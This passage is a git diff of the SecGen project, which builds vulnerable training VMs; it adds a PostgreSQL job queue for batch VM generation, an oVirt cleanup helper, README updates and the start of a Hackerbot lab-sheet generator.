diff --git a/.gitignore b/.gitignore index 089a6f8dd..cab0182ef 100644 --- a/.gitignore +++ b/.gitignore @@ -4,5 +4,6 @@ unusedcode .idea mount log -batch/failed/ -batch/successful/ \ No newline at end of file +.directory +batch/failed +batch/successful diff --git a/Gemfile b/Gemfile index 1bee751f1..b7c70f3a2 100644 --- a/Gemfile +++ b/Gemfile @@ -14,6 +14,11 @@ gem 'sshkey' gem 'zipruby' gem 'credy' gem 'pg' +gem 'cinch' +gem 'nori' +gem 'programr', :git => "http://github.com/robertjwhitney/programr.git" +gem 'process_helper' +gem 'ovirt-engine-sdk' #development only gems go here group :test, :development do diff --git a/Gemfile.lock b/Gemfile.lock index a2fcd8c9f..510445747 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,8 +1,15 @@ +GIT + remote: http://github.com/robertjwhitney/programr.git + revision: 9885f3870407f57c3e2ca1fe644ed10573629ca6 + specs: + programr (0.0.2) + GEM remote: https://rubygems.org/ specs: CFPropertyList (2.2.8) chunky_png (1.3.8) + cinch (2.3.3) credy (0.2.1) thor (~> 0.19.1) facter (2.4.6) @@ -35,8 +42,12 @@ GEM nokogiri (1.6.8) mini_portile2 (~> 2.1.0) pkg-config (~> 1.1.7) + nori (2.6.0) + ovirt-engine-sdk (4.1.8) + json pg (0.21.0) pkg-config (1.1.7) + process_helper (0.1.1) puppet (4.5.1) CFPropertyList (~> 2.2.6) facter (> 2.0, < 4) @@ -69,6 +80,7 @@ PLATFORMS ruby DEPENDENCIES + cinch credy faker forgery @@ -76,7 +88,11 @@ DEPENDENCIES mini_exiftool_vendored minitest nokogiri + nori + ovirt-engine-sdk pg + process_helper + programr! puppet rake rdoc @@ -89,4 +105,4 @@ DEPENDENCIES zipruby BUNDLED WITH - 1.14.3 + 1.15.4 diff --git a/README.md b/README.md index 8e1d5d3b2..8ec98a1a4 100644 --- a/README.md +++ b/README.md @@ -3,9 +3,10 @@ ## Summary SecGen creates vulnerable virtual machines so students can learn security penetration testing techniques. -Boxes like Metasploitable2 are always the same, this project uses Vagrant, Puppet, and Ruby to quickly create randomly vulnerable virtual machines that can be used for learning or for hosting CTF events. +Boxes like Metasploitable2 are always the same, this project uses Vagrant, Puppet, and Ruby to create randomly vulnerable virtual machines that can be used for learning or for hosting CTF events. + +[The latest version is available at: http://github.com/cliffe/SecGen/](http://github.com/cliffe/SecGen/) -[The latest version is available at: http://github.com/cliffe/SecGen/](http://github.com/cliffe/SecGen/) ## Introduction Computer security students benefit from engaging in hacking challenges. Practical lab work and pre-configured hacking challenges are common practice both in security education and also as a pastime for security-minded individuals. Competitive hacking challenges, such as capture the flag (CTF) competitions have become a mainstay at industry conferences and are the focus of large online communities. Virtual machines (VMs) provide an effective way of sharing targets for hacking, and can be designed in order to test the skills of the attacker. Websites such as Vulnhub host pre-configured hacking challenge VMs and are a valuable resource for those learning and advancing their skills in computer security. However, developing these hacking challenges is time consuming, and once created, essentially static. That is, once the challenge has been "solved" there is no remaining challenge for the student, and if the challenge is created for a competition or assessment, the challenge cannot be reused without risking plagiarism, and collusion. @@ -22,32 +23,32 @@ SecGen contains modules, which install various software packages. Each SecGen mo SecGen is developed and tested on Ubuntu Linux. In theory, SecGen should run on Mac or Windows, if you have all the required software installed. You will need to install the following: -- Ruby (development): https://www.ruby-lang.org/en/ +- Ruby (development): https://www.ruby-lang.org/en/ - Vagrant: http://www.vagrantup.com/ - Virtual Box: https://www.virtualbox.org/ - Puppet: http://puppet.com/ -- Packer: https://www.packer.io/downloads.html +- Packer: https://www.packer.io/ - ImageMagick: https://www.imagemagick.org/ - And the required Ruby Gems (including Nokogiri and Librarian-puppet) ### On Ubuntu these commands will get you up and running Install all the required packages: ```bash -sudo apt-get install ruby-dev zlib1g-dev liblzma-dev build-essential patch virtualbox ruby-bundler vagrant imagemagick libmagickwand-dev exiftool libpq-dev +# install a recent version of vagrant +wget https://releases.hashicorp.com/vagrant/1.9.8/vagrant_1.9.8_x86_64.deb +sudo apt install ./vagrant_1.9.8_x86_64.deb +# install other required packages via repos +sudo apt-get install ruby-dev zlib1g-dev liblzma-dev build-essential patch virtualbox ruby-bundler imagemagick libmagickwand-dev exiftool libpq-dev ``` -Copy SecGen to a directory of your choosing, such as */home/user/bin/SecGen*, then: +Copy SecGen to a directory of your choosing, such as */home/user/bin/SecGen* + +Then install gems: ```bash cd /home/user/bin/SecGen bundle install ``` -## Optional software requirements -### EWF image creation -To generate forensic images in the EWF image format FTK Imager command line is required. -Download link for FTK Imager command line: http://accessdata.com/product-download/ -Note: The FTK Imager executable needs to be added to the PATH environment variable. - ## Usage Basic usage: ```bash @@ -426,6 +427,9 @@ It is also possible to iterate through a datastore, and feed each value into sep Some generators generate structured content in JSON format, for example the organisation type. It is possible to access a particular element of structured data from a datastore with the access_json using the ruby hash lookup format. See the example scenario: ```scenarios/examples/datastore_examples/json_selection_example.xml``` +Some scenarios require VMs IP addresses to be used as parameters for other modules in the scenario. If this is the case, you should use the 'IP_addresses' datastore to store the IPs for all VMs in the scenario and use the access functionality to pass them into network modules.For example: +```scenarios/examples/datastore_examples/network_ip_datastore_example.xml``` + ## Modules SecGen is designed to be easily extendable with modules that define vulnerabilities and other kinds of software, configuration, and content changes. diff --git a/lib/batch/README.md b/lib/batch/README.md new file mode 100644 index 000000000..2c8c7c58c --- /dev/null +++ b/lib/batch/README.md @@ -0,0 +1,103 @@ +# Batch Processing with SecGen + +Generating multiple VMs in a batch is now possible through the use of batch_secgen, a ruby script which uses postgresql +as a job queue to mass-create VMs with SecGen. + +There are helper commands available to add jobs, list jobs in the table, remove jobs, and reset the status of jobs from 'running' or 'error' to 'todo'. + +When adding multiple jobs to the queue, it is possible to prefix the VM names with unique strings. +The example below demonstrates adding 3 copies of the flawed_fortress scenario, which results in the VM names being prefixed with 'tom_', 'cliffe_', and 'aimee_'. + +``` +ruby batch_secgen.rb add --instances tom,cliffe,aimee --- -s scenarios/ctf/flawed_fortress_1.xml r +``` + +## Initialise the Database + +Install postgresql + +``` +sudo apt-get install postgresql + +``` + +Add the database user role and give the user database superuser permissions. + +``` +sudo -u postgres createuser +sudo -u postgres psql -c "CREATE ROLE superuser;" +``` + +Create the database + +``` +sudo -u postgres createdb batch_secgen +``` + +Replace 'username' within the lib/batch/batch_secgen.sql dump with your database username on lines 131 and 141 + +``` +... +128: REVOKE ALL ON TABLE queue FROM PUBLIC; +129: REVOKE ALL ON TABLE queue FROM postgres; +130: GRANT ALL ON TABLE queue TO postgres; +131: GRANT ALL ON TABLE queue TO username; # << replace with database username +... +138: REVOKE ALL ON SEQUENCE queue_id_seq FROM PUBLIC; +139: REVOKE ALL ON SEQUENCE queue_id_seq FROM postgres; +140: GRANT ALL ON SEQUENCE queue_id_seq TO postgres; +141: GRANT SELECT,USAGE ON SEQUENCE queue_id_seq TO username; # << replace with database username +... +``` + +Import the modified SQL file + +``` +psql -U batch_secgen < lib/batch/batch_secgen.sql +``` + +## Using secgen-batch.rb + +COMMANDS: +add, a: Adds a job to the queue +start: Starts the service, works through the job queue +reset: Resets jobs in the table to 'todo' status based on option +delete: Delete job(s) from the queue table +list: Lists the current entries in the job queue + +OPTIONS: +[add] +--instances [integer n]: Number of instances of the scenario to create with default project naming format +--instances [prefix,prefix, ...]: Alternatively supply a comma separated list of strings to prefix to project output +--randomise-ips [integer n ](optional): Randomises the IP range 10.X.X.0, unique for all instances, + requires the number of unique static network tags in the scenario.xml +---: Delimiter, anything after this will be passed to secgen.rb as an argument. +Example: `ruby batch_secgen.rb add --instances here,are,some,prefixes --- -s scenarios/default_scenario.xml run` + +[start] +--max_threads [integer n] (optional): Maximum number of worker threads, defaults to 1 + +[reset] +--running: Reset all 'running' jobs to 'todo' +--failed / --error: Reset all failed (i.e. status => 'error') jobs to 'todo' + +[delete] +--id [integer n]: Delete the entry for a specific Job ID +--all: Delete all jobs from the queue table + +[list] +--id [integer n] (optional): List the entry for a specific Job ID +--all: List all jobs in the queue table + +[misc] +--help, -h: Shows this usage information + + +## Install the service to run batch-secgen in the background + +Install the lib/batch/batch-secgen.service systemd service file. + +``` +sudo systemctl enable /absolute/path/to/SecGen/lib/batch/batch-secgen.service +service batch-secgen start +``` \ No newline at end of file diff --git a/lib/batch/batch-secgen.service b/lib/batch/batch-secgen.service new file mode 100644 index 000000000..06a5408b2 --- /dev/null +++ b/lib/batch/batch-secgen.service @@ -0,0 +1,16 @@ +[Unit] +Description=Batch Processing Service (SecGen Project) +After=postgresql.service + +[Service] +EnvironmentFile=/etc/environment +ExecStart=/usr/bin/ruby /home/secgen/SecGen/lib/batch/batch_secgen.rb start +ExecReload=/bin/kill -HUP $MAINPID +KillMode=process +WorkingDirectory=/home/secgen/SecGen/ +Restart=always +User=secgen +Group=secgen + +[Install] +WantedBy=multi-user.target diff --git a/lib/batch/batch_secgen.rb b/lib/batch/batch_secgen.rb index 5ef06eb76..168f954cc 100644 --- a/lib/batch/batch_secgen.rb +++ b/lib/batch/batch_secgen.rb @@ -1,3 +1,4 @@ +require 'fileutils' require 'getoptlong' require 'open3' require 'pg' @@ -6,8 +7,10 @@ require_relative '../helpers/print.rb' require_relative '../helpers/constants.rb' # Globals -@db_conn = nil +@status_enum = {:todo => 'todo', :running => 'running', :success => 'success', :error => 'error', :failed => 'error'} +@prepared_statements = [] @secgen_args = '' +@ranges_in_table = nil # Displays secgen_batch usage data def usage @@ -17,8 +20,9 @@ def usage COMMANDS: add, a: Adds a job to the queue start: Starts the service, works through the job queue - list: Lists the current entries in the job queue + reset: Resets jobs in the table to 'todo' status based on option delete: Delete job(s) from the queue table + list: Lists the current entries in the job queue OPTIONS: [add] @@ -32,14 +36,22 @@ def usage [start] --max_threads [integer n] (optional): Maximum number of worker threads, defaults to 1 - [list] - --id [integer n] (optional): List the entry for a specific Job ID - --all: List all jobs in the queue table + [reset] + --running: Reset all 'running' jobs to 'todo' + --failed / --error: Reset all failed (i.e. status => 'error') jobs to 'todo' [delete] --id [integer n]: Delete the entry for a specific Job ID --all: Delete all jobs from the queue table + [list] + --all (default): List all jobs in the queue table + --id [integer n] (optional): List the entry for a specific Job ID + --todo (optional): List jobs with status 'todo' + --running (optional): List jobs with status 'running' + --success (optional): List jobs with status 'success' + --failed / --error (optional): List jobs with status 'error' + [misc] --help, -h: Shows this usage information @@ -70,15 +82,34 @@ end def get_list_opts list_options = misc_opts + [['--id', GetoptLong::REQUIRED_ARGUMENT], - ['--all', GetoptLong::OPTIONAL_ARGUMENT]] + ['--all', GetoptLong::OPTIONAL_ARGUMENT], + ['--todo', GetoptLong::NO_ARGUMENT], + ['--running', GetoptLong::NO_ARGUMENT], + ['--success', GetoptLong::NO_ARGUMENT], + ['--failed', '--error', GetoptLong::NO_ARGUMENT]] parse_opts(GetoptLong.new(*list_options)) end +def get_reset_opts + list_options = misc_opts + [['--all', GetoptLong::NO_ARGUMENT], + ['--running', GetoptLong::NO_ARGUMENT], + ['--failed', '--error', GetoptLong::NO_ARGUMENT]] + + options = parse_opts(GetoptLong.new(*list_options)) + if !options[:running] and !options[:failed] and !options[:all] + Print.err 'Error: The reset command requires an argument.' + usage + else + options + end +end + def get_delete_opts delete_options = misc_opts + [['--id', GetoptLong::REQUIRED_ARGUMENT], - ['--all', GetoptLong::OPTIONAL_ARGUMENT]] + ['--all', GetoptLong::OPTIONAL_ARGUMENT], + ['--failed', GetoptLong::OPTIONAL_ARGUMENT]] options = parse_opts(GetoptLong.new(*delete_options)) - if options[:id] == '' and options[:all] == false + if !options[:id] and !options[:all] and !options[:failed] Print.err 'Error: The delete command requires an argument.' usage else @@ -87,7 +118,7 @@ def get_delete_opts end def parse_opts(opts) - options = {:instances => '', :max_threads => 1, :id => '', :all => false} + options = {:instances => '', :max_threads => 3, :id => nil, :all => false} opts.each do |opt, arg| case opt when '--instances' @@ -100,6 +131,14 @@ def parse_opts(opts) options[:random_ips] = arg.to_i when '--all' options[:all] = true + when '--todo' + options[:todo] = true + when '--running' + options[:running] = true + when '--success' + options[:success] = true + when '--failed' + options[:failed] = true else Print.err 'Invalid argument' exit(false) @@ -111,164 +150,295 @@ end # Command Functions def add(options) + db_conn = PG::Connection.open(:dbname => 'batch_secgen') + # Handle --instances instances = options[:instances] - if (instances.to_i.to_s == instances) and instances.to_i > 1 + if (instances.to_i.to_s == instances) and instances.to_i >= 1 instances.to_i.times do |count| instance_args = "--prefix batch_job_#{(count+1).to_s} " + @secgen_args - instance_args = generate_range_arg(options) + instance_args - insert_row(count.to_s, instance_args) + instance_args = generate_range_arg(db_conn, options) + instance_args + insert_row(db_conn, @prepared_statements, count.to_s, instance_args) end - elsif instances.include?(',') + elsif instances.size > 0 named_prefixes = instances.split(',') named_prefixes.each_with_index do |named_prefix, count| instance_secgen_args = "--prefix #{named_prefix} " + @secgen_args - instance_secgen_args = generate_range_arg(options) + instance_secgen_args - insert_row(count.to_s, instance_secgen_args) + instance_secgen_args = generate_range_arg(db_conn, options) + instance_secgen_args + insert_row(db_conn, @prepared_statements, count.to_s, instance_secgen_args) end - else - insert_row('batch_job_1', @secgen_args) end + db_conn.finish end def start(options) # Start in SecGen's ROOT_DIR Dir.chdir ROOT_DIR + # Create directories + Dir.mkdir 'log' unless Dir.exists? 'log' + FileUtils.mkdir_p 'batch/successful' unless Dir.exists? 'batch/successful' + FileUtils.mkdir_p 'batch/failed' unless Dir.exists? 'batch/failed' + # Start the service and call secgen.rb current_threads = [] + outer_loop_db_conn = PG::Connection.open(:dbname => 'batch_secgen') while true - if (get_jobs.size > 0) and (current_threads.size < options[:max_threads].to_i) + if (get_jobs(outer_loop_db_conn, @prepared_statements).size > 0) and (current_threads.size < options[:max_threads].to_i) current_threads << Thread.new { - current_job = get_jobs[0] + db_conn = PG::Connection.open(:dbname => 'batch_secgen') + threadwide_statements = [] + current_job = get_jobs(db_conn, threadwide_statements)[0] job_id = current_job['id'] - update_status(job_id, :running) - + update_status(db_conn, threadwide_statements, job_id, :running) secgen_args = current_job['secgen_args'] # execute secgen puts "Running job_id(#{job_id}): secgen.rb #{secgen_args}" stdout, stderr, status = Open3.capture3("ruby secgen.rb #{secgen_args}") - puts "Job #{job_id} Complete" + # Update job status and back-up paths if status.exitstatus == 0 - update_status(job_id, :success) + puts "Job #{job_id} Complete: successful" + update_status(db_conn, threadwide_statements, job_id, :success) log_prefix = '' + backup_path = 'batch/successful/' else - update_status(job_id, :error) + puts "Job #{job_id} Complete: failed" + update_status(db_conn, threadwide_statements, job_id, :error) log_prefix = 'ERROR_' + backup_path = 'batch/failed/' + end + + # Get project data from SecGen output + project_id = project_path = 'unknown' + stderr_project_split = stdout.split('Creating project: ') + if stderr_project_split.size > 1 + project_path = stderr_project_split[1].split('...')[0] + project_id = project_path.split('projects/')[1] + else + project_id = "job_#{job_id}" + Print.err(stderr) + Print.err("Fatal error on job #{job_id}: SecGen crashed before project creation.") + Print.err('Check your scenario file.') end # Log output - Dir.mkdir 'log' unless Dir.exists? 'log' - project_path = stdout.split('Creating project: ')[1].split('...')[0] - project_id = project_path.split('projects/')[1] - log = File.new("log/#{log_prefix}#{project_id}", 'w') + log_name = "#{log_prefix}#{project_id}" + log_path = "log/#{log_name}" + log = File.new(log_path, 'w') log.write("SecGen project path::: #{project_path}\n\n\n") log.write("SecGen arguments::: #{secgen_args}\n\n\n") - log.write("SecGen output::: \n\n\n") + log.write("SecGen output (stdout)::: \n\n\n") log.write(stdout) - log.write("\n\n\nGenerator local output::: \n\n\n") + log.write("\n\n\nGenerator local output and errors (stderr)::: \n\n\n") log.write(stderr) log.close + + # Back up project and log file + FileUtils.cp_r(project_path, backup_path) + FileUtils.cp(log_path, (backup_path + project_id + '/' + log_name)) + + db_conn.finish } - sleep(1) + sleep(5) else current_threads.delete_if { |thread| !thread.alive? } - sleep(2) # don't use a busy-waiting loop, choose a blocking sleep that frees up CPU + sleep(5) # don't use a busy-waiting loop, choose a blocking sleep that frees up CPU end end end def list(options) - if options[:id] == '' - items = select_all - items.each do |row| - Print.info row - end - else - Print.info select_id(options[:id]) + db_conn = PG::Connection.open(:dbname => 'batch_secgen') + if options[:id] + items = [select_id(db_conn, @prepared_statements, options[:id])] + elsif options[:todo] + items = select_status(db_conn, @prepared_statements, :todo) + elsif options[:running] + items = select_status(db_conn, @prepared_statements, :running) + elsif options[:success] + items = select_status(db_conn, @prepared_statements, :success) + elsif options[:failed] + items = select_status(db_conn, @prepared_statements, :failed) + else #all + items = select_all(db_conn) + end + items.each do |row| + Print.info row end + db_conn.finish +end + +# reset jobs in batch to status => 'todo' +def reset(options) + db_conn = PG::Connection.open(:dbname => 'batch_secgen') + if options[:all] + update_all_to_status(db_conn, @prepared_statements, :todo) + end + if options[:running] + update_all_by_status(db_conn, @prepared_statements, :running, :todo) + end + if options[:failed] + update_all_by_status(db_conn, @prepared_statements, :error, :todo) + end + db_conn.finish end def delete(options) - if options[:id] != '' - delete_id(options[:id]) + db_conn = PG::Connection.open(:dbname => 'batch_secgen') + if options[:id] + delete_id(db_conn, @prepared_statements, options[:id]) + elsif options[:failed] + delete_failed(db_conn) elsif options[:all] - delete_all + delete_all(db_conn) end -end - -def get_jobs - select_all_todo.to_a + db_conn.finish end # Database interactions -def insert_row(statement_id, secgen_args) +def insert_row(db_conn, prepared_statements, statement_id, secgen_args) statement = "insert_row_#{statement_id}" # Add --shutdown and strip trailing whitespace secgen_args = '--shutdown ' + secgen_args.strip Print.info "Adding to queue: '#{statement}' '#{secgen_args}' 'todo'" - @db_conn.prepare(statement, 'insert into queue (secgen_args, status) values ($1, $2)') - @db_conn.exec_prepared(statement, [secgen_args, 'todo']) + unless prepared_statements.include? statement + db_conn.prepare(statement, 'insert into queue (secgen_args, status) values ($1, $2)') + prepared_statements << statement + end + db_conn.exec_prepared(statement, [secgen_args, 'todo']) end -def select_all - @db_conn.exec_params('SELECT * FROM queue;') +def select_all(db_conn) + db_conn.exec_params('SELECT * FROM queue;') end -def select_all_todo - @db_conn.exec_params("SELECT * FROM queue where status = 'todo';") +def select_status(db_conn, prepared_statements, status) + statement = "select_status_#{status}" + unless prepared_statements.include? statement + db_conn.prepare(statement, 'SELECT * FROM queue where status = $1;') + prepared_statements << statement + end + db_conn.exec_prepared(statement, [@status_enum[status]]) end -def select_id(id) +def select_id(db_conn, prepared_statements, id) statement = "select_id_#{id}" - @db_conn.prepare(statement, 'SELECT * FROM queue where id = $1;') - @db_conn.exec_prepared(statement, [id]).first + unless prepared_statements.include? statement + db_conn.prepare(statement, 'SELECT * FROM queue where id = $1;') + prepared_statements << statement + end + db_conn.exec_prepared(statement, [id]).first end -def update_status(job_id, status) - status_enum = {:todo => 'todo', :running => 'running', :success => 'success', :error => 'error'} - +def update_status(db_conn, prepared_statements, job_id, status) statement = "update_status_#{job_id}_#{status}" - @db_conn.prepare(statement, 'UPDATE queue SET status = $1 WHERE id = $2') - @db_conn.exec_prepared(statement,[status_enum[status], job_id]) + unless prepared_statements.include? statement + db_conn.prepare(statement, 'UPDATE queue SET status = $1 WHERE id = $2') + prepared_statements << statement + end + db_conn.exec_prepared(statement, [@status_enum[status], job_id]) end -def delete_all - Print.info 'Are you sure you want to DELETE all jobs from the queue table? [y/N]' +def update_all_by_status(db_conn, prepared_statements, from_status, to_status) + statement = "mass_update_status_#{from_status}_#{to_status}" + unless prepared_statements.include? statement + db_conn.prepare(statement, 'UPDATE queue SET status = $1 WHERE status = $2') + prepared_statements << statement + end + db_conn.exec_prepared(statement, [@status_enum[to_status], @status_enum[from_status]]) +end + +def update_all_to_status(db_conn, prepared_statements, to_status) + statement = "mass_update_to_status_#{to_status}" + unless prepared_statements.include? statement + db_conn.prepare(statement, 'UPDATE queue SET status = $1') + prepared_statements << statement + end + db_conn.exec_prepared(statement, [@status_enum[to_status]]) +end + +def delete_failed(db_conn) + Print.info 'Are you sure you want to DELETE failed jobs from the queue table? [y/N]' input = STDIN.gets.chomp if input == 'Y' or input == 'y' - Print.info 'Deleting all jobs from Queue table' - @db_conn.exec_params('DELETE FROM queue;') + Print.info "'Deleting all jobs with status == 'error' from Queue table" + db_conn.exec_params("DELETE FROM queue WHERE status = 'error';") else exit end end -def delete_id(id) - Print.info "Deleting job_id: #{id}" - statement = "delete_job_id_#{id}" - @db_conn.prepare(statement, 'DELETE FROM queue where id = $1') - @db_conn.exec_prepared(statement, [id]) +def delete_all(db_conn) + Print.info 'Are you sure you want to DELETE all jobs from the queue table? [y/N]' + input = STDIN.gets.chomp + if input == 'Y' or input == 'y' + Print.info 'Deleting all jobs from Queue table' + db_conn.exec_params('DELETE FROM queue;') + else + exit + end end -def generate_range_arg(options) +def delete_id(db_conn, prepared_statements, id) + Print.info "Deleting job_id: #{id}" + statement = "delete_job_id_#{id}" + unless prepared_statements.include? statement + db_conn.prepare(statement, 'DELETE FROM queue where id = $1') + prepared_statements << statement + end + db_conn.exec_prepared(statement, [id]) +end + +def get_jobs(db_conn, prepared_statements) + select_status(db_conn, prepared_statements, :todo).to_a +end + +def secgen_arg_network_ranges(secgen_args) + ranges_in_arg = [] + split_args = secgen_args.split(' ') + network_ranges_index = split_args.find_index('--network-ranges') + if network_ranges_index != nil + range = split_args[network_ranges_index + 1] + if range.include?(',') + range.split(',').each { |split_range| ranges_in_arg << split_range } + else + ranges_in_arg << range + end + end + ranges_in_arg +end + +def generate_range_arg(db_conn, options) range_arg = '' if options.has_key? :random_ips - network_ranges = [] + + # Check if there are jobs in the DB containing ips. Assign once so that repeated calls don't get added to the list. + if @ranges_in_table == nil + @ranges_in_table = [] + + # Exclude IP ranges previously selected, stored in the table + table_entries = select_all(db_conn) + table_entries.each { |job| + @ranges_in_table += secgen_arg_network_ranges(job['secgen_args']) + } + end + + generated_network_ranges = [] scenario_networks_qty = options[:random_ips] scenario_networks_qty.times { range = generate_range # Check for uniqueness - while network_ranges.include?(range) + while @ranges_in_table.include?(range) range = generate_range end - network_ranges << range + @ranges_in_table << range + generated_network_ranges << range } - random_ip_string = network_ranges.join(',') + random_ip_string = generated_network_ranges.join(',') range_arg = "--network-ranges #{random_ip_string} " end range_arg @@ -282,9 +452,6 @@ Print.std '~'*47 Print.std 'SecGen Batch - Batch VM Generation Service' Print.std '~'*47 -# Connect to database -@db_conn = PG::Connection.open(:dbname => 'batch_secgen') - # Capture SecGen options delimiter_index = ARGV.find_index('---') if delimiter_index @@ -305,8 +472,10 @@ case ARGV[0] start(get_start_opts) when 'list' list(get_list_opts) + when 'reset' + reset(get_reset_opts) when 'delete' delete(get_delete_opts) else usage -end \ No newline at end of file +end diff --git a/lib/batch/batch_secgen.service b/lib/batch/batch_secgen.service deleted file mode 100644 index 44888659c..000000000 --- a/lib/batch/batch_secgen.service +++ /dev/null @@ -1,13 +0,0 @@ -[Unit] -Description=Batch Processing Service (SecGen Project) -After=postgresql.service - -[Service] -ExecStart=/usr/bin/ruby /opt/secgen/lib/batch/batch_secgen.rb -ExecReload=/bin/kill -HUP $MAINPID -KillMode=process -WorkingDirectory=/opt/secgen -Restart=always - -[Install] -WantedBy=multi-user.target \ No newline at end of file diff --git a/lib/helpers/gem_exec.rb b/lib/helpers/gem_exec.rb index f5b021802..beaa1cb0d 100644 --- a/lib/helpers/gem_exec.rb +++ b/lib/helpers/gem_exec.rb @@ -1,4 +1,5 @@ require 'rubygems' +require 'process_helper' class GemExec @@ -8,8 +9,8 @@ class GemExec # @param [Object] gem_name -- such as 'vagrant', 'puppet', 'librarian-puppet' # @param [Object] working_dir -- the location for output # @param [Object] argument -- the command to send 'init', 'install' - def self.exe(gem_name, working_dir, argument) - Print.std "Loading #{gem_name} (#{argument}) in #{working_dir}" + def self.exe(gem_name, working_dir, arguments) + Print.std "Loading #{gem_name} (#{arguments}) in #{working_dir}" version = '>= 0' begin @@ -36,8 +37,24 @@ class GemExec end Dir.chdir(working_dir) - - system gem_path, argument - + output_hash = {:output => '', :status => 0, :exception => nil} + begin + output_hash[:output] = ProcessHelper.process("#{gem_path} #{arguments}", {:pty => true, :timeout => (60 * 10), + include_output_in_exception: true}) + rescue Exception => ex + output_hash[:status] = 1 + output_hash[:exception] = ex + if ex.class == ProcessHelper::UnexpectedExitStatusError + output_hash[:output] = ex.to_s.split('Command output: ')[1] + Print.err 'Non-zero exit status...' + elsif ex.class == ProcessHelper::TimeoutError + Print.err 'Timeout: Killing process...' + sleep(30) + output_hash[:output] = ex.to_s.split('Command output prior to timeout: ')[1] + else + output_hash[:output] = nil + end + end + output_hash end end diff --git a/lib/helpers/ovirt.rb b/lib/helpers/ovirt.rb new file mode 100644 index 000000000..f849294a7 --- /dev/null +++ b/lib/helpers/ovirt.rb @@ -0,0 +1,130 @@ +require 'timeout' +require 'rubygems' +require 'process_helper' +require 'ovirtsdk4' +require_relative './print.rb' + +class OVirtFunctions + + + # Helper for removing VMs which Vagrant lost track of, i.e. exist but are reported as 'have not been created'. + # @param [String] destroy_output_log -- logfile from vagrant destroy process which contains loose VMs + # @param [String] options -- command-line opts, used for building oVirt connection + def self.remove_uncreated_vms(destroy_output_log, options, scenario) + retry_count = 0 + max_retries = 5 + while retry_count <= max_retries + begin + # Build an ovirt connection + ovirt_connection = get_ovirt_connection(options) + # Determine the oVirt name of the uncreated VMs and Build the oVirt VM names + ovirt_vm_names = build_ovirt_names(scenario, options[:prefix], get_uncreated_vms(destroy_output_log)) + ovirt_vm_names.each do |vm_name| + # Find the oVirt VM objects + vms = vms_service(ovirt_connection).list(search: "name=#{vm_name}") + # Shut down and remove the VMs + vms.each do |vm| + begin + Timeout.timeout(60*5) do + while vm_exists(ovirt_connection, vm) + shutdown_vm(ovirt_connection, vm) + remove_vm(ovirt_connection, vm) + end + Print.info 'Successfully removed VM: ' + vm.name + ' -- ID: ' + vm.id + end + rescue Timeout::Error + Print.err "Error: Removal of #{vm.name} timed-out. (ID: #{vm.id})" + next + end + end + end + rescue OvirtSDK4::Error => ex + if retry_count < max_retries + Print.err 'Error: Retrying... #' + (retry_count + 1).to_s + ' of #' + max_retries.to_s + end + retry_count += 1 + puts ex + end + end + end + + def self.vm_exists(ovirt_connection, vm) + # Check if VM has been removed + begin + service = vms_service(ovirt_connection).vm_service(vm.id) + service.get + return true + rescue OvirtSDK4::Error => err + if err.code == 404 + return false + else + puts err + exit(1) + end + end + end + + def self.vms_service(ovirt_connection) + ovirt_connection.system_service.vms_service + end + + def self.shutdown_vm(ovirt_connection, vm) + service = vms_service(ovirt_connection).vm_service(vm.id) + while service.get.status == 'up' + service.stop + puts 'Stopping VM: ' + vm.name + sleep(15) + end + end + + def self.remove_vm(ovirt_connection, vm) + service = vms_service(ovirt_connection).vm_service(vm.id) + begin + service.remove(force: true) + puts 'Removing VM: ' + vm.name + sleep(15) + rescue Exception + # ignore oVirt exception, it gets raised regardless of success / failure + end + end + + def self.build_ovirt_names(scenario_path, prefix, vm_names) + ovirt_vm_names = [] + scenario_name = scenario_path.split('/').last.split('.').first + prefix = prefix ? (prefix + '-' + scenario_name) : ('SecGen-' + scenario_name) + vm_names.each do |vm_name| + ovirt_vm_names << "#{prefix}-#{vm_name}".tr('_', '-') + end + ovirt_vm_names + end + + def self.get_uncreated_vms(output_log) + split = output_log.split('==> ') + failures = [] + split.each do |line| + if line.include? ': VM is not created. Please run `vagrant up` first.' + failed_vm = line.split(':').first + failures << failed_vm + end + end + failures.uniq + end + + # @param [String] options -- command-line opts, contains oVirt username, password and url + def self.get_ovirt_connection(options) + if options[:ovirtuser] and options[:ovirtpass] and options[:ovirturl] + conn_attr = {} + conn_attr[:url] = options[:ovirturl] + conn_attr[:username] = options[:ovirtuser] + conn_attr[:password] = options[:ovirtpass] + conn_attr[:debug] = true + conn_attr[:insecure] = true + conn_attr[:headers] = {'Filter' => true} + OvirtSDK4::Connection.new(conn_attr) + else + Print.err('Fatal: oVirt connections require values for the --ovirtuser and --ovirtpass command line arguments') + exit(1) + end + end + +end \ No newline at end of file diff --git a/lib/objects/local_hackerbot_config_generator.rb b/lib/objects/local_hackerbot_config_generator.rb new file mode 100644 index 000000000..e93d9d46e --- /dev/null +++ b/lib/objects/local_hackerbot_config_generator.rb @@ -0,0 +1,114 @@ +#!/usr/bin/ruby +require_relative 'local_string_generator.rb' +require 'erb' +require 'fileutils' +require 'redcarpet' +require 'nokogiri' + +class HackerbotConfigGenerator < StringGenerator + attr_accessor :accounts + attr_accessor :flags + attr_accessor :root_password + attr_accessor :html_rendered + attr_accessor :html_TOC_rendered + attr_accessor :title + + attr_accessor :local_dir + attr_accessor :templates_path + attr_accessor :config_template_path + attr_accessor :html_template_path + + def initialize + super + self.module_name = 'Hackerbot Config Generator' + self.title = '' + self.accounts = [] + self.flags = [] + self.root_password = '' + self.html_rendered = '' + self.html_TOC_rendered = '' + + self.local_dir = File.expand_path('../../', __FILE__) + self.templates_path = "#{self.local_dir}/templates/" + self.config_template_path = "#{self.local_dir}/templates/integrity_lab.xml.erb" + self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb" + + end + + def get_options_array + super + [['--root_password', GetoptLong::REQUIRED_ARGUMENT], + ['--accounts', GetoptLong::REQUIRED_ARGUMENT], + ['--flags', GetoptLong::REQUIRED_ARGUMENT]] + end + + def process_options(opt, arg) + super + case opt + when '--root_password' + self.root_password << arg; + when '--accounts' + self.accounts << arg; + when '--flags' + self.flags << arg; + end + end + + def generate_lab_sheet(xml_config) + lab_sheet = '' + begin + doc = Nokogiri::XML(xml_config) + rescue + Print.err "Failed to process hackerbot config" + exit + end + # remove xml namespaces for ease of processing + doc.remove_namespaces! + # for each element in the vulnerability + hackerbot = doc.xpath("/hackerbot") + name = hackerbot.xpath("name").first.content + lab_sheet += hackerbot.xpath("tutorial_info/tutorial").first.content + "\n" + + doc.xpath("//attack").each_with_index do |attack, index| + 